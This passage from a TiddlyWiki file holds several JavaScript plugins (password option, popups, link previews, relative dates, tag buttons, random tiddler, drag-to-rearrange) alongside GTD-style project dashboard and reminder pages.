EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.

<html><sub><a href="javascript:;" onclick="scrollAnchorVisible('Top',null, event)">[Top]</sub></a></html>
***/
/***
|''Name:''|PasswordOptionPlugin|
|''Description:''|Extends TiddlyWiki options with non encrypted password option.|
|''Version:''|1.0.2|
|''Date:''|Apr 19, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#PasswordOptionPlugin|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0 (Beta 5)|
***/
//{{{
version.extensions.PasswordOptionPlugin = {
	major: 1, minor: 0, revision: 2, 
	date: new Date("Apr 19, 2007"),
	source: 'http://tiddlywiki.bidix.info/#PasswordOptionPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	license: '[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D]]',
	coreVersion: '2.2.0 (Beta 5)'
};

config.macros.option.passwordCheckboxLabel = "Save this password on this computer";
config.macros.option.passwordInputType = "password"; // password | text
setStylesheet(".pasOptionInput {width: 11em;}\n","passwordInputTypeStyle");

merge(config.macros.option.types, {
	'pas': {
		elementType: "input",
		valueField: "value",
		eventName: "onkeyup",
		className: "pasOptionInput",
		typeValue: config.macros.option.passwordInputType,
		create: function(place,type,opt,className,desc) {
			// password field
			config.macros.option.genericCreate(place,'pas',opt,className,desc);
			// checkbox linked with this password "save this password on this computer"
			config.macros.option.genericCreate(place,'chk','chk'+opt,className,desc);			
			// text savePasswordCheckboxLabel
			place.appendChild(document.createTextNode(config.macros.option.passwordCheckboxLabel));
		},
		onChange: config.macros.option.genericOnChange
	}
});

merge(config.optionHandlers['chk'], {
	get: function(name) {
		// is there an option linked with this chk ?
		var opt = name.substr(3);
		if (config.options[opt]) 
			saveOptionCookie(opt);
		return config.options[name] ? "true" : "false";
	}
});

merge(config.optionHandlers, {
	'pas': {
 		get: function(name) {
			if (config.options["chk"+name]) {
				return encodeCookie(config.options[name].toString());
			} else {
				return "";
			}
		},
		set: function(name,value) {config.options[name] = decodeCookie(value);}
	}
});

// need to reload options to load passwordOptions
loadOptionsCookie();

/*
if (!config.options['pasPassword'])
	config.options['pasPassword'] = '';

merge(config.optionsDesc,{
		pasPassword: "Test password"
	});
*/
//}}}
!!!!The next two reminders flag the 15th and 27th of every month to pay bills
*The low leadtime keeps these from showing up in the showReminders macro until 2 days before they are due.
**<<reminder day:15 title:"Bill Day" leadtime:2>>
**<<reminder day:27 title:"Bill Day" leadtime:2>>

!!!Reminder that fires once every N days
*This is a reminder that fires every three weeks.  It's imperative to specify a base date with year, month and day if you want this to return consistent dates.
**<<reminder year:2005 month:7 day:31 recurdays:28 title:"Haircut Day" >>

!!!!Tracking the number of years that a reminder has happened
*This is a reminder that uses firstyear to specify when something started.  Very useful for birthdays and anniversaries.
**<<reminder month:9 day:20 title:"TiddlyWiki's First Release Anniversary" leadtime:60 firstyear:2004>>

<<photoGallery sequence:"!" height:200 time:2000 labels:SubTitles numbers start:5000
photos/lisboa-1.jpg
photos/lisboa-2.jpg
photos/lisboa-3.jpg
photos/lisboa-4.jpg
>>
<<photoGallery url:photos/lisboa-*.jpg sequence:'1-4' height:200 time:2000 labels:SubTitles numbers start:5000>>
/***
|''Name:''|~PopupMacro|
|''Author:''|Saq Imtiaz (mod Tobias Beer)|
|''Version:''|1.1 (2009-11-08)|
|''Description:''|Create popups with custom content|
|''Source:''|http://tbGTD.tiddlyspor.com/#PopupMacro|
|''Documentation:''|http://tw.lewcid.org/#PopupMacroDocs|
|''Requires:''|TW Version 2.0.8 or better|
@@((mod for tbGTD(^removed styles and code cleanup)))@@
!Code
***/
//{{{
config.macros.popup={
err1:'missing macro parameters',
err2:'missing label or content parameter',
arrow:document.all?"▼":"▾",
handler:function(place,macroName,params,wikifier,paramString,theTiddler){
var cls,id,lbl,src,click;
if(!params[0]||!params[1]){createTiddlyError(place,this.err1,this.err2);return false;}
lbl=params[0];
src=(params[1]).replace(/\$\)\)/g,">>");
id=params[2]?params[2]:'nestedpopup';
cls='popup'+(params[3]?' ' +params[3]:'');
click=function(e){
	var btn,nest,p,tgt;
	e=e||window.event;
	tgt=resolveTarget(e);
	nest=!isNested(tgt);
	id=nest?id:'popup';
	if(nest&&Popup.stack.length>1)Popup.removeFrom(1);
	else if(!nest&&Popup.stack.length>0)Popup.removeFrom(0);
	p=createTiddlyElement(document.body,"ol",id,cls,null);
	Popup.stack.push({root:this,popup:p});
	wikify(src,p);
	Popup.show(p,true);e.cancelBubble=true;if(e.stopPropagation)e.stopPropagation();return false;
}
btn=createTiddlyButton(place,lbl+this.arrow,lbl,click,null);
}
}
window.isNested=function(el){
	var c=document.getElementById("contentWrapper");
	while(el!=null){if(el==c)return true;el=el.parentNode;}return false;
}
setStylesheet('#nestedpopup {margin-left:1em;}','PopupMacroStyles');
//}}}
/***
|Name|PopupPreviewPlugin|
|Source|http://www.TiddlyTools.com/#PopupPreviewPlugin|
|Version|1.2.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|StickyPopupPlugin (optional, recommended)|
|Description|popup a formatted preview of a linked tiddler's content|
This plugin adds a custom 'shift-click' or mouseover handler to all tiddler links (or images with tiddler links) to display a popup with a fully-formatted preview of the linked tiddler's content.
!!!!!Usage
<<<
SHIFT-click to display a popup containing the fully-formatted content of the linked tiddler, in a fixed size, scrolling area.  Click anywhere to dismiss the popup.  Clicking on the link will open the tiddler in the normal manner.  If the linked tiddler contains a section named "preview", the popup displays that section content rather than the entire tiddler.  You can hide the "preview" section by enclosing it within comment markers ({{{/%...%/}}}) or a CSS wrapper ({{{@@display:none;...@@}}} or <html><nowiki><code>{{hidden{...}}}</code></html>) so that you can display alternative "summary" content in the popup preview while still showing the entire content when viewing the tiddler directly.
<<<
!!!!!Configuration
<<<
<<option chkPopupPreviews>> enable popup previews (shift-click)
{{{usage: <<option chkPopupPreviews>>}}}
<<option chkPopupPreviewMouseover>> show previews on mouseover (no click needed)
{{{usage: <<option chkPopupPreviewMouseover>>}}}
width of popup: <<option txtPopupPreviewWidth>> height of popup: <<option txtPopupPreviewHeight>>
//(width and height may be specified using any valid CSS units, e.g., "px", "em", "in", "cm", "%")//
{{{usage: <<option txtPopupPreviewWidth>> <<option txtPopupPreviewHeight>>}}}
preview section name: <<option txtPopupPreviewSection>>
{{{usage: <<option txtPopupPreviewSection>>}}}
<<<
!!!!!Preview
<<<
The contents of this section are displayed when SHIFT-clicking on a link to [[PopupPreviewPlugin]].  This section can be hidden using comment markers or a CSS wrapper so that alternative, "summary" content can be displayed in the popup.
<<<
!!!!!Revisions
<<<
2012.05.23 1.2.0 added chkPopupPreviewSection (for showing summary content in popup)
2011.09.22 1.1.1 fixed default setting for chkPopupPreviewMouseover
2009.09.22 1.1.0 added chkPopupPreviewMouseover option
2007.11.19 1.0.0 fixed handling for imageLinks ('tiddlylink' attrib is on the *parentNode* of target image element)
2007.11.10 0.5.0 alpha development - use with care
<<<
!!!!!Code
***/
//{{{
version.extensions.PopupPreviewPlugin= {major: 1, minor: 2, revision: 0, date: new Date(2012,5,23)};

var co=config.options; // abbrev
if (co.chkPopupPreviews===undefined) co.chkPopupPreviews=true;
if (co.txtPopupPreviewWidth==undefined) co.txtPopupPreviewWidth="50%";
if (co.txtPopupPreviewHeight==undefined) co.txtPopupPreviewHeight="10em";
if (co.chkPopupPreviewMouseover===undefined) co.chkPopupPreviewMouseover=false;
if (co.txtPopupPreviewSection===undefined) co.txtPopupPreviewSection="Preview";


if (window.popupPreview_createTiddlyLink===undefined) { // only once
window.popupPreview_createTiddlyLink=window.createTiddlyLink;
window.createTiddlyLink=function()
{
	var btn=this.popupPreview_createTiddlyLink.apply(this,arguments);
	var handler=config.options.chkPopupPreviewMouseover?'onmouseover':'onclick';
	btn.savedHandler=btn[handler];
	btn[handler]=function(e) {
		var co=config.options; // abbrev
		if (!e) var e=window.event; var theTarget=resolveTarget(e);
		if (!e.shiftKey&&!co.chkPopupPreviewMouseover || !co.chkPopupPreviews) 
			return this.savedHandler?this.savedHandler.apply(this,arguments):false;
		else { // show tiddler preview if enabled and SHIFT is pressed
			var tid=theTarget.getAttribute("tiddlylink");
			if (!tid) tid=theTarget.parentNode.getAttribute("tiddlylink"); // for "imageLink"
			var text=store.getTiddlerText(tid+"##"+co.txtPopupPreviewSection,store.getTiddlerText(tid));
			if (text && text.length) {
				var popup = Popup.create(this,null,"sticky popup");
				popup.style.width=co.txtPopupPreviewWidth;
				popup.style.padding=".5em";
				var msg="%0 %1".format([tid,config.views.wikified.shadowModifier]);
				var tiddler=store.getTiddler(tid); if (tiddler) msg=tiddler.getSubtitle();
				wikify("@@display:block;font-size:80%;line-height:110%;"+msg+"@@",popup);
				var div=createTiddlyElement(popup,"DIV",null,"popupPreview viewer");
				div.style.overflow="auto"; 
				div.style.whiteSpace="normal";
				div.style[config.browser.isIE?'height':'maxHeight']=co.txtPopupPreviewHeight;
				wikify(text,div);
				Popup.show('bottom','left');
			}
			e.cancelBubble=true; if (e.stopPropagation) e.stopPropagation(); return false;
		}
	}
	return btn;
}
}
//}}}
/***
|Name:|PrettyDatesPlugin|
|Description:|Provides a new date format ('pppp') that displays times such as '2 days ago'|
|Version:|1.0a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#PrettyDatesPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Notes
* If you want to you can rename this plugin. :) Some suggestions: LastUpdatedPlugin, RelativeDatesPlugin, SmartDatesPlugin, SexyDatesPlugin.
* Inspired by http://ejohn.org/files/pretty.js
***/
//{{{
Date.prototype.prettyDate = function() {
  var diff = (((new Date()).getTime() - this.getTime()) / 1000);
  var day_diff = Math.floor(diff / 86400);
  var datetoday=new Date();
  var weekday=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday",
                "Friday","Saturday");

  if (isNaN(day_diff))      return "";

// Return "This " or "Next " (dayofweek)
// return (datetoday.getDay()+day_diff) < 0 ? "this " + weekday[datetoday.getDay()] : "next " + weekday[datetoday.getDay()];

    else if (day_diff < -370)   return "more than a year away";
    else if (day_diff < -360)   return "in a year";
    else if (day_diff < -330)   return "in 11 months";
    else if (day_diff < -300)   return "in 10 months";
    else if (day_diff < -270)   return "gestating...";
    else if (day_diff < -240)   return "in 8 months";
    else if (day_diff < -210)   return "in 7 months";
    else if (day_diff < -180)   return "in 6 months";
    else if (day_diff < -150)   return "in 5 months";
    else if (day_diff < -120)   return "in 4 months";
    else if (day_diff < -90)   return "in 3 months";
    else if (day_diff < -60)   return "in two months";
    else if (day_diff < -30)   return "in a month";
    else if (day_diff < -13)  return "in two weeks";
    else if (day_diff < -5 && day_diff < -13) return "next week";
//    else if (day_diff == -6)  return "next " + weekday[datetoday.getDay()-1];
//    else if (day_diff == -5)  return "next " + weekday[datetoday.getDay()-2];
//    else if (day_diff == -4)  return "next " + weekday[datetoday.getDay()-3];
//    else if (day_diff == -3)  return "next " + weekday[datetoday.getDay()-4];
//    else if (day_diff == -2)  return "next " + weekday[datetoday.getDay()-5];
//    else if (day_diff == -1)  return "next " . weekday[datetoday.getDay()-6];
    else if (day_diff < -1)   return "in a few days";
    else if (day_diff == -1)  return "tomorrow";
//   else if (diff < 0)        return "in the future";
    else if (diff < 60)       return "just now";
    else if (diff < 120)      return "1 minute ago";
    else if (diff < 3600)     return Math.floor(diff/60) + " minutes ago";
    else if (diff < 7200)     return "1 hour ago";
    else if (diff < 86400)    return Math.floor(diff/3600) + " hours ago";
    else if (day_diff == 1)   return "Yesterday";
    else if (day_diff < 7)    return day_diff + " days ago";
    else if (day_diff < 14)   return  "a week ago";
    else if (day_diff < 31)   return Math.ceil(day_diff/7) + " weeks ago";
    else if (day_diff < 62)   return "a month ago";
    else if (day_diff < 365)  return "about " + Math.ceil(day_diff/31) + " months ago";
    else if (day_diff < 730)  return "a year ago";
    else                      return Math.ceil(day_diff/365) + " years ago";
}

Date.prototype.formatString_orig_mptw = Date.prototype.formatString;

Date.prototype.formatString = function(template) {
  return this.formatString_orig_mptw(template).replace(/pppp/,this.prettyDate());
}

// for [[MPTW]]. otherwise edit your ViewTemplate as required.
config.mptwDateFormat = 'pppp (DD/MM/YY)';
//config.mptwDateFormat = 'pppp';

//}}}

!!Add To Your Inbox

''[[Quick Add]]''

!!!Action
''<<newSavedTiddler label:'Next Action' title:'new next action' tag:{{'Action Next [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Waiting Action' title:'new waiting action' tag:{{'Action [(Waiting For)] [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Future Action' title:'new future action' tag:{{'Action Future [['+config.macros.dGSDList.getRealm()+']]'}}>>''
!!!Project
''<<newSavedTiddler label:'Project' title:'new active project' tag:{{'Project Active [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Someday/Maybe Project' title:'new someday project' tag:{{'Project Someday/Maybe [['+config.macros.dGSDList.getRealm()+']]'}}>>''
!!!Other
''<<newSavedTiddler label:'Meeting' title:'New Meeting' tag:{{'Meeting [['+config.macros.dGSDList.getRealm()+']]'}}>><<calendarPopup 'Tickler' 'new Tickler'>><<newSavedTiddler label:'Reference Item' title:'new reference' tag:{{'Reference [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Contact' title:'Contact' tag:{{'Contact [['+config.macros.dGSDList.getRealm()+']]'}}>><<twab AddressBook Contact>><<newSavedTiddler label:'Book' title:'Book' tag:{{'Book [['+config.macros.dGSDList.getRealm()+']]'}}>><<newJournal "YYYY/0MM/0DD - hh:0mm" "Journal">><<clickify newTiddler label:'Blank Tiddler' title:{{prompt('enter a title','NewTiddler')}}>>
<<newSavedTiddler label:'Context' title:'new context' tag:{{'Context [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Area' title:'new area' tag:{{'Area [['+config.macros.dGSDList.getRealm()+']]'}}>><<newSavedTiddler label:'Realm' title:'new realm' tag:{{'Realm [['+config.macros.dGSDList.getRealm()+']]'}}>>''
[[Quick Add]]
''<<newSavedTiddler title:'new Next Action' label:'new next action' tag:{{'Action Next [['+config.macros.dGSDList.getRealm()+']]'}}>>/%/%
%/<<newSavedTiddler title:'new Waiting Action' label:'new waiting action' tag:{{'Action [(Waiting For)] [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Future Action' label:'new future action' tag:{{'Action Future [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Project' label:'new active project' tag:{{'Project Active [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Someday/Maybe Project' label:'new someday project' tag:{{'Project Someday/Maybe [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
<<newSavedTiddler title:'new Tickler' label:'new tickler' tag:{{'Tickler Once [['+config.macros.dGSDList.getRealm()+']]'}}>>
%/<<calendarPopup 'new tickler' 'new Tickler'>>/% <-- experimental
%/<<newSavedTiddler title:'new Reference Item' label:'new reference' tag:{{'Reference [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/
<<newSavedTiddler title:'new Contact' label:'new contact' tag:{{'Contact [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Context' label:'new context' tag:{{'Context [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Area' label:'new area' tag:{{'Area [['+config.macros.dGSDList.getRealm()+']]'}}>>/%
%/<<newSavedTiddler title:'new Realm' label:'new realm' tag:{{'Realm [['+config.macros.dGSDList.getRealm()+']]'}}>>''
!!Recent
<<dGSDList mode:global tags:'Project || Action' view:plain sort:-modified >>

{{tiny{
<slider Advanced>
[[modify menu|ProcessInboxMenu]]
[[GTDComponent]]
</slider>
}}}

<<deleteAllTagged>> //''Warning:'' This will delete all your Projects!!//

<<tiddler [[Projects Dashboard]]>>
{{cols2{

{{col{

<<dGSDList title:'Active Projects' 
        startTag:Project 
        tags:'Active && !Complete' 
        view:ProjectTouch mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Active'
	>>

<<dGSDList title:'Ongoing Projects' 
	startTag:Project 
	tags:'Ongoing && !Complete' 
	view:ProjectTouch 
	mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Ongoing'
	>>

}}}
{{col{

<<dGSDList title:'Someday/Maybe Projects' 
	startTag:Project 
	tags:'Someday/Maybe && !Complete' 
	view:ProjectTouch 
	mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Someday/Maybe'
        dontShowEmpty:yes
	>>

<<dGSDList title:'Completed Projects' 
        startTag:Project 
        tags:'Complete' 
        view:ProjectTouch 
	mode:global
        dontShowEmpty:yes
	group:Area
	gView:bold
	>>

<<dGSDList title:'Dormant Projects' 
        startTag:Project 
        tags:'Dormant && !Complete' 
        view:ProjectTouch 
	mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

<<dGSDList title:'Abandoned Projects' 
        startTag:Project 
        tags:'Abandoned && !Complete' 
        view:ProjectTouch 
	mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

}}}
{{cols2{

{{col{

<<dGSDList title:'Active Projects' 
	startTag:Project 
	tags:'Active && !Complete' 
	view:ProjectTouch 
	mode:global
	group:Realm
	gView:bold
	newButtonTags:'Project Active'
	>>

<<dGSDList title:'Ongoing Projects' 
	startTag:Project 
	tags:'Ongoing && !Complete' 
	view:ProjectTouch 
	mode:global
	group:Realm
	gView:bold
	newButtonTags:'Project Ongoing'
	>>

}}}

{{col{

<<dGSDList title:'Next Actions' 
	startTag:Action 
	tags:'Next && !Done' 
	view:ActionProjTouch 
	mode:global
	group:Realm
	gView:bold
	where:tiddler.hasActiveProject()
	newButtonTags:'Action Next'
>>

}}}

}}}
<<tag ProjectStatus>>
{{cols2{

{{col{

  <<dGSDList title:'Active Projects' 
	startTag:Project 
	tags:'Project && Active && !Complete && !Trash' 
	view:ProjectArea 
	mode:global
	newButtonTags:'Project Active'
	gView:bold
        dontShowEmpty:no
	where:!tiddler.hasParent('Project')
  >>

<<dGSDList title:'Subprojects' 
	startTag:Project 
	tags:'Project && !Completee && !Trash' 
	view:Project mode:global
	where:tiddler.hasParent('Project')
	group:Project
	gView:bold
        dontShowEmpty:yes
	>>

  <<dGSDList title:'Ongoing Projects' 
	startTag:Project 
	tags:'Ongoing && !Completee && !Trash' 
	view:ProjectArea mode:global
	newButtonTags:'Project Ongoing'
        dontShowEmpty:yes
  >>

}}}

{{col{

<<dGSDList title:'Someday/Maybe Projects' startTag:Project tags:'Someday/Maybe && !Complete' view:Project mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Someday/Maybe'
        dontShowEmpty:yes
	>>

<<dGSDList title:'Completed Projects' 
        startTag:Project 
        tags:'Complete' 
        view:Project mode:global
        dontShowEmpty:yes
	group:Area
	gView:bold
	>>

<<dGSDList title:'Dormant Projects' 
        startTag:Project 
        tags:'Dormant' 
        view:Project mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

<<dGSDList title:'Abandoned Projects' 
        startTag:Project 
        tags:'Abandoned' 
        view:Project mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

}}}
{{cols2{

{{col{

<<dGSDList title:'Active Projects' 
        startTag:Project 
        tags:'Active && !Complete' 
        view:Project 
        mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Active'
	>>

<<dGSDList title:'Ongoing Projects' 
        startTag:Project 
        tags:'Ongoing && !Complete' 
        view:Project 
        mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Ongoing'
	>>

}}}
{{col{

<<dGSDList title:'Someday/Maybe Projects' 
	startTag:Project 
	tags:'Someday/Maybe && !Complete' 
	view:Project 
	mode:global
	group:Area
	gView:bold
	newButtonTags:'Project Someday/Maybe'
        dontShowEmpty:yes
	>>

<<dGSDList title:'Completed Projects' 
        startTag:Project 
        tags:'Complete' 
        view:Project mode:global
        dontShowEmpty:yes
	group:Area
	gView:bold
	>>

<<dGSDList title:'Dormant Projects' 
        startTag:Project 
        tags:'Dormant && !Complete' 
        view:Project mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

<<dGSDList title:'Abandoned Projects' 
        startTag:Project 
        tags:'Abandoned && !Complete' 
        view:Project mode:global
	group:Area
	gView:bold
        dontShowEmpty:yes
	>>

}}}
{{cols2{

{{col{

<<dGSDList title:'Active Projects' 
	startTag:Project 
	tags:'Active && !Complete' 
	view:Project 
	mode:global
	group:Realm
	gView:bold
	newButtonTags:'Project Active'
	>>

<<dGSDList title:'Ongoing Projects' 
	startTag:Project 
	tags:'Ongoing && !Complete' 
	view:Project 
	mode:global
	group:Realm
	gView:bold
	newButtonTags:'Project Ongoing'
	>>

}}}



}}}
!This will PURGE (completely delete) your Encrypted Vault! That includes ALL the encrypted tiddlers and data in your TiddlyWiki!

<<ifUnlocked "Your vault is currently unlocked... there is no Encrypted Vault to purge!">>

<<unlock Unlock "Unlock Vault" OpenTiddlersWhenUnlock CloseTiddlersWhenUnlock>>
<<purge Purge>>
Book was put down.

order:3
button:p
buttonLong:putDown
<<processInbox>>
/***
|Name:|QuickOpenTagPlugin|
|Description:|Changes tag links to make it easier to open tags as tiddlers|
|Version:|3.0.1a|
|Date:|27-Jun-2011|
|Source:|http://mptw.tiddlyspot.com/#QuickOpenTagPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
config.quickOpenTag = {

  dropdownChar: (document.all ? "\u25bc" : "\u25be"), // the little one doesn't work in IE?

  createTagButton: function(place,tag,excludeTiddler) {
    // little hack so we can do this: <<tag PrettyTagName|RealTagName>>
    var splitTag = tag.split("|");
    var pretty = tag;
    if (splitTag.length == 2) {
      tag = splitTag[1];
      pretty = splitTag[0];
    }

    var sp = createTiddlyElement(place,"span",null,"quickopentag");
    createTiddlyText(createTiddlyLink(sp,tag,false),pretty);

    var theTag = createTiddlyButton(sp,config.quickOpenTag.dropdownChar,
                        config.views.wikified.tag.tooltip.format([tag]),onClickTag);
    theTag.setAttribute("tag",tag);
    if (excludeTiddler)
      theTag.setAttribute("tiddler",excludeTiddler);
        return(theTag);
  },

  miniTagHandler: function(place,macroName,params,wikifier,paramString,tiddler) {
    var tagged = store.getTaggedTiddlers(tiddler.title);
    if (tagged.length > 0) {
      var theTag = createTiddlyButton(place,config.quickOpenTag.dropdownChar,
                          config.views.wikified.tag.tooltip.format([tiddler.title]),onClickTag);
      theTag.setAttribute("tag",tiddler.title);
      theTag.className = "miniTag";
    }
  },

  allTagsHandler: function(place,macroName,params) {
    var tags = store.getTags(params[0]);
    var filter = params[1]; // new feature
    var ul = createTiddlyElement(place,"ul");
    if(tags.length == 0)
      createTiddlyElement(ul,"li",null,"listTitle",this.noTags);
    for(var t=0; t<tags.length; t++) {
      var title = tags[t][0];
      if (!filter || (title.match(new RegExp('^'+filter)))) {
        var info = getTiddlyLinkInfo(title);
        var theListItem =createTiddlyElement(ul,"li");
        var theLink = createTiddlyLink(theListItem,tags[t][0],true);
        var theCount = " (" + tags[t][1] + ")";
        theLink.appendChild(document.createTextNode(theCount));
        var theDropDownBtn = createTiddlyButton(theListItem," " +
          config.quickOpenTag.dropdownChar,this.tooltip.format([tags[t][0]]),onClickTag);
        theDropDownBtn.setAttribute("tag",tags[t][0]);
      }
    }
  },

  // todo fix these up a bit
  styles: [
"/*{{{*/",
"/* created by QuickOpenTagPlugin */",
".tagglyTagged .quickopentag, .tagged .quickopentag ",
" { margin-right:1.2em; border:1px solid #eee; padding:2px; padding-right:0px; padding-left:1px; }",
".quickopentag .tiddlyLink { padding:2px; padding-left:3px; }",
".quickopentag a.button { padding:1px; padding-left:2px; padding-right:2px;}",
"/* extra specificity to make it work right */",
"#displayArea .viewer .quickopentag a.button, ",
"#displayArea .viewer .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink ",
" { border:0px solid black; }",
"#displayArea .viewer .quickopentag a.button, ",
"#mainMenu .quickopentag a.button ",
" { margin-left:0px; padding-left:2px; }",
"#displayArea .viewer .quickopentag a.tiddlyLink, ",
"#mainMenu .quickopentag a.tiddlyLink ",
" { margin-right:0px; padding-right:0px; padding-left:0px; margin-left:0px; }",
"a.miniTag {font-size:150%;} ",
"#mainMenu .quickopentag a.button ",
" /* looks better in right justified main menus */",
" { margin-left:0px; padding-left:2px; margin-right:0px; padding-right:0px; }",
"#topMenu .quickopentag { padding:0px; margin:0px; border:0px; }",
"#topMenu .quickopentag .tiddlyLink { padding-right:1px; margin-right:0px; }",
"#topMenu .quickopentag .button { padding-left:1px; margin-left:0px; border:0px; }",
"/*}}}*/",
    ""].join("\n"),

  init: function() {
    // we fully replace these builtins. can't hijack them easily
    window.createTagButton = this.createTagButton;
    config.macros.allTags.handler = this.allTagsHandler;
    config.macros.miniTag = { handler: this.miniTagHandler };
    config.shadowTiddlers["QuickOpenTagStyles"] = this.styles;
    store.addNotification("QuickOpenTagStyles",refreshStyles);
  }
}

config.quickOpenTag.init();

//}}}
This Tiddly shows the "Got Change?" RSS Feed of new requests. Edit it to see how.

<<rssReader asHtml http://got-change.org/feed>>
<<randomTiddler>>
/***
|''Name''|<...>|
|''Description''|<...>|
|''Author''|FND|
|''Version''|<#.#.#>|
|''Status''|<//unknown//; @@experimental@@; @@beta@@; //obsolete//; stable>|
|''Source''|http://devpad.tiddlyspot.com/#<...>|
|''CodeRepository''|http://svn.tiddlywiki.org/Trunk/contributors/FND/|
|''License''|[[BSD|http://www.opensource.org/licenses/bsd-license.php]]|
|''CoreVersion''|2.5.0|
|''Requires''|<...>|
|''Keywords''|<...>|
***/
//{{{
(function($) {

var macro = config.macros.randomTiddler = {
	locale: {
		label: "random",
		tooltip: "display a random tiddler"
	},

	handler: function(place, macroName, params, wikifier, paramString, tiddler) {
		var excludeTag = params[0] || "excludeLists";
		var btn = createTiddlyButton(place, this.locale.label,
			this.locale.tooltip, function() {});
		btn.onclick = null; // XXX: hacky, but createTiddlyButton wouldn't add href otherwise
		$(btn).data("excludeTag", excludeTag).click(this.onClick);;
	},
	onClick: function() {
		var btn = $(this);
		var excludeTag = btn.data("excludeTag");
		var tiddlers = store.getTiddlers();
		macro.displayRandomTiddler(tiddlers, excludeTag);
	},
	displayRandomTiddler: function(tiddlers, excludeTag) {
		var i = Math.floor(Math.random() * tiddlers.length);
		var tid = tiddlers[i];
		if(!tid.tags.contains(excludeTag)) {
			story.displayTiddler(place, tid);
		} else {
			this.displayRandomTiddler(tiddlers); // XXX: risks infinite recursion
		}
	}
};

})(jQuery);
//}}}
order:2
button:r
buttonLong:read & review
Currently reading this book

order:1
button:r
buttonLong:reading

/***
|Name|RearrangeTiddlersPlugin|
|Source|http://www.TiddlyTools.com/#RearrangeTiddlersPlugin|
|Version|2.0.0|
|Author|Eric Shulman|
|OriginalAuthor|Joe Raii|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|plugin|
|Description|drag tiddlers by title to re-order story column display|

adapted from: http://www.cs.utexas.edu/~joeraii/dragn/#Draggable
changes by ELS:
* hijack refreshTiddler() instead of overridding createTiddler()
* find title element by className instead of elementID
* set cursor style via code instead of stylesheet
* set tooltip help text
* set tiddler "position:relative" when starting drag event, restore saved value when drag ends
* update 2006.08.07: use getElementsByTagName("*") to find title element, even when it is 'buried' deep in tiddler DOM elements (due to custom template usage)
* update 2007.03.01: use apply() to invoke hijacked core function
* update 2008.01.13: only hijack core function once.  (allows for dynamic loading of plugin via bookmarklet)
* update 2008.10.19: added onclick popup menu with 'move to top' and 'move to bottom' commands
* update 2010.11.30: use story.getTiddler()
***/
//{{{

if (Story.prototype.rearrangeTiddlersHijack_refreshTiddler===undefined) {
Story.prototype.rearrangeTiddlersHijack_refreshTiddler = Story.prototype.refreshTiddler;
Story.prototype.refreshTiddler = function(title,template)
{
	this.rearrangeTiddlersHijack_refreshTiddler.apply(this,arguments);
	var theTiddler = this.getTiddler(title); if (!theTiddler) return;
	var theHandle;
	var children=theTiddler.getElementsByTagName("*");
	for (var i=0; i<children.length; i++) if (hasClass(children[i],"title")) { theHandle=children[i]; break; }
	if (!theHandle) return theTiddler;

	Drag.init(theHandle, theTiddler, 0, 0, null, null);
	theHandle.style.cursor="move";
	theHandle.title="drag title to re-arrange tiddlers, click for more options..."
	theTiddler.onDrag = function(x,y,myElem) {
		if (this.style.position!="relative")
